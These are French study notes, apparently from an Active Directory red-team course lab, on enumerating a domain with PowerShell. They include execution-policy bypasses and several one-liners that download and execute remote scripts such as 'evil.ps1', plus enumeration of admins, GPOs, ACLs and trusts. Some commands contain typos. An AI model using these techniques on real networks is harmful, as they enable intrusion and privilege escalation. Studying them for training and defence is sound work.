Introduction à Active Directory et Kerberos
Un AD contient plusieurs domaines et organisation unit(OU)
Introduction à PowerShell
Get-Help * Liste tout l’aide disponibile
Get-Help process Liste tout avec le mot-clé “process”
Update-Help Update-Help
Get-Help Get-Item -Full
Get-Help Get-Item -Examples
Get-Command -CommandType cmdlet
Outrepasser les politiques d’exécution PowerShell
- powershell -ExecutionPolicy bypass
- powershell -c
- powershell -encodedcommand
- $env:PSExecutionPolicyPreference=”bypass”
Import-Module <modulepath>
Get-Command -Module <modulename> Liste toutes les commandes dans un module
Téléchargement et exécution de scripts powershell. Diverses méthodes
iex (New-Object Net.WebClient).DownloadString('https://webserver/payload.ps1')
$ie=New-Object -ComObject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://192.168.2.1/evil.ps1');sleep 5;$response=$ie.Document.body.innerHTML;$ie.quit();$iex $response
iex(iwr 'http://192.168.2.3/evil.ps1')
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://192.168.2.3/evil.ps1',$false);$h.send(); iex $h.responseText
$wr = [System.,NET.WebRequest]::Create("http://192.168.2.2/evil.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()
Énumération du domaine (attaques et défense)
- Forest
- DomainControllers
- Children
- DomainMode
- DomainModeLevel
- Parent
- PdcRoleOwner
- RidRoleOwner
- InfrastructureRoleOwner
- Name
$ADClass = [System.Directoryservices.ActiveDirectory.Domain] $ADClass::GetCurrentDomain()
Installer le module ADModule
iex (new-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1');Import-ActiveDirectory
Obtenir de l’information sur le domaine actuel ou un autre domaine
Get-ADDomain
Get-ADDomain -Identity moneycorp.local
(Get-ADDomain).DomainSID
Obtenir le controlleur de domaines
Get-ADDomainController
Get-AddomainController -DomainName moneycorp.local
Obtenir la liste des usagers dans le domaine courant
Get-ADUser -Filter * -Properties *
Get-ADUser -Identity student1 -Properties *
Obtenir la liste des propriétés pour les usagers du domaine courant
Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType *Property | select Name
Get-ADUser -Filter * -Properties * | select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}}
Recherche dans les attributs d’un usager
Get-ADUser -Filter ‘Description -like “*built*”‘ -Properties Description | select name,Description
Obtenir la liste des ordinateurs dans le domaine
Get-ADComputer -Filter * select Name
Get-ADComputer -Filter ‘OperatingSystem -like “*Server 2016*”‘ -Properties OperatingSystem select Name,OperatingSystem
Get-ADComputer -Filter * -Properties DNSHostName | %{Test-Connection -Count 1 -ComputerName $_.DNSHostName}
Get-ADComputer -Filter * -Properties *
Obtient les groupes dans le domaine courant
Get-ADGroup -Filter * | select Name
Get-ADGroup -Filter * -Properties *
Get-ADGroup -Filter ‘Name -like “*admin*”‘ | select Name
Obtenir tous les membres du groupe Domain Admins
Get-ADGroupMember -Identity “Domain Admins” -Recursive
Obtenir les groupes d’appartenance pour un usager
Get-ADPrincipalGroupMembership -Identity student1
Les politiques de groupe permettent une gestion centralisée de la configuration dans le AD
Elles permettent la configuration des
- Réglages de sécurité
- Politiques basées sur les registres
- Scripts startup/shutdown/log-on/logoff
- Installation de logiciels
Par contre, les GPO pouvent être utilisés pour différentes attaques (escalation des privilèges), backdoors et persistence.
Il faut d’abord ajouter RSAT : Group Policy Management Tools à la liste des fonctionnalités de Windows via l’interface graphique ou avec powershell (avec les droits admin)
Get-WindowsCapability -Name RSAT* -Online | Add-WindowsCapability -Online
Obtient la list des GPO dans le domaine actuel
Get-GPO -ALL
Get-GPResultatSetOfPolicy -ReportType Html -Path c:\users\administrator\report.html (RSoP)
Obtient les OU dans un domaines
Get-ADOrganizationalUnit -Filter * -Properties *
Obtient les GPO liés à un OU
Get-GPO -Guid AB30…………
ACL : Access Control List (ACL)
- C’est une liste de ACE (Access Control Entries). Qui a la permission et qu’est-ce qui peut être réalisé sur un objet
- 2 types de ACL :DACL et SACL. DACL définit les permissions qu’un groupe ou un usager possèdent sur un objet. SACL enregistre les événéments quand un objet est accédé (permissions refusées ou accordées)
Énumérer les ACL en utilisant le module ActiveDirectory (sans GUID)
(Get-Acl 'AD:\CN=Administrator,CN=Users,DC=dollarcorp,DC=moneycorp, DC=local').Access
Obtient une liste de tous les domain trusts pour le domaine courant
Get-ADTrust
Get-ADTrust -Identity us.dollarcorp.moneycorp.local
Obtient les détails de la forêt courante
Get-ADForest
Get-ADForest -Identity eurocorp.local
Obtient les catalogues globaux de la forêt courante
Get-ADForest | select -ExpandProperty GlobalCatalogs
Map trusts d’une forêt
Get-ADTrust -Filter ‘msDS-TrustForestTrustInfo -ne “$null”‘
Obtient tous les domaines dans la forêt courante
(Get-ADForest).Domains
Sur quels postes de travail l’usager à un accès administrateur. Utile si les ports RPC et SMB sont bloqués
Find-WMILocalAdminAccess.ps1
.\NetCease.ps1 peut changer les permissions normalement accordées pour les membres du “Authenticated Users” group. Cela permet d’éviter de savoirr les usagés connectés sur un poste de travail